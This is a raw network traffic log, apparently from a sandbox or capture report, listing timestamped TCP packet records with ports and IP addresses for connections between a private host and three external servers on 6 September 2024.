Sep 6, 2024 08:17:07.704077959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704096079 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704108953 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.704154968 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.704185963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704191923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704205036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704211950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704226017 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.704237938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704245090 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704274893 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.704317093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704323053 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704334974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704350948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704351902 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.704356909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704380035 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.704535961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704543114 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704555035 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704560041 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704566002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704571009 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.704572916 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704581022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704593897 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.704623938 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.704623938 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.704813004 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704818964 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704832077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704873085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704880953 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704905033 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.705020905 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.705082893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705090046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705179930 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705187082 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705199003 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705215931 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.705254078 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705260992 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705267906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705274105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705291033 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.705312967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705374956 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.705410957 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705415964 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.705415964 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705554008 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.705600023 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705662966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705667973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705674887 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705681086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705693007 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705698013 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705703974 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.705704927 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705739975 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.705754995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705761909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705794096 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.705815077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705821991 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705833912 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705840111 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.705851078 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.705974102 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.706141949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706147909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706166029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706172943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706217051 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.706217051 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.706238985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706245899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706250906 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706257105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706264973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706269979 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706286907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706290960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706295967 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.706310034 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.706357002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706420898 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.706422091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706429958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706434965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706459045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706465960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706468105 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.706495047 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.706530094 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706535101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706571102 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.706579924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706587076 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706613064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706614971 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.706621885 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706634045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706649065 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.706746101 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706748962 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.706751108 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.706882954 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.707746029 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.707761049 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.707766056 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.707815886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.707823038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.707834005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.707854033 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.707962036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.707968950 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.707976103 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.707989931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.707995892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708008051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708013058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708019972 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708028078 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708053112 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708053112 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708095074 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708101034 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708106995 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708122969 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708189011 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708200932 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708211899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708231926 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708303928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708318949 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708400011 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708405972 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708410978 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708417892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708422899 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708429098 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708436012 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708457947 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708491087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708498001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708504915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708511114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708564997 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708564997 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708564997 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708575964 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708581924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708595037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708600998 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708638906 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708671093 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708677053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708688974 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708694935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708707094 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708745003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708745003 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.708815098 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708821058 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708832026 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708837986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708842993 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708848953 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708861113 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.708885908 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.709126949 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710006952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710012913 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710064888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710071087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710082054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710105896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710108995 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710129976 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710134983 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710140944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710148096 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710189104 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710251093 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710283041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710289955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710295916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710308075 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710336924 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710340977 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710349083 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710355997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710360050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710376024 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710398912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710402966 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710406065 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710417032 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710423946 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710436106 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710436106 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710442066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710458994 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710469007 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710491896 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710721016 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710777998 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710784912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710797071 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710802078 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710808992 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710813999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710820913 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.710841894 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710894108 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.710894108 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.713130951 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.713144064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.713160038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.713166952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.713202953 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.713242054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.713249922 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.713280916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.713284969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.713300943 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.713386059 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.715516090 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.715531111 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.715534925 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.715540886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.715547085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.715553045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.715559006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.715586901 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.715586901 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.715626955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.715632915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.715642929 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.715673923 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.715826035 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.715996981 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716010094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716016054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716021061 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716026068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716034889 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716041088 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716046095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716052055 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716058016 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716058016 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.716058016 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.716063023 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716070890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716075897 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716099024 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.716109991 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.716109991 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.716366053 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.716525078 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716620922 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716625929 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716633081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716639042 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716643095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716649055 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716650009 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.716691017 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.716730118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.716783047 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.716945887 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.723787069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.723792076 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.723807096 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.723819017 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.723824024 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.723834991 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.723845005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.723850965 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.723851919 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.723869085 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.723869085 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.723927975 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.732274055 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.732290983 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.732367039 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.732367039 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.732386112 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.732587099 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.732613087 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.732620001 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.732624054 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.732646942 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.732788086 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.732911110 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.732928038 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.732990980 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.732990980 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.732996941 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.733194113 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.733198881 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.733202934 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.733221054 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.733277082 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.733277082 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.733283043 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.733505011 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.733534098 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.733560085 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.733591080 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.733593941 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.733633041 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.733740091 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.733762026 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.733771086 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.733794928 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.733829021 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.733829021 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.734085083 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.734097958 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.734112978 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.734117031 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.734144926 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.734592915 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.735232115 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.735245943 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.735445023 CEST	49745	443	192.168.2.4	158.69.225.124
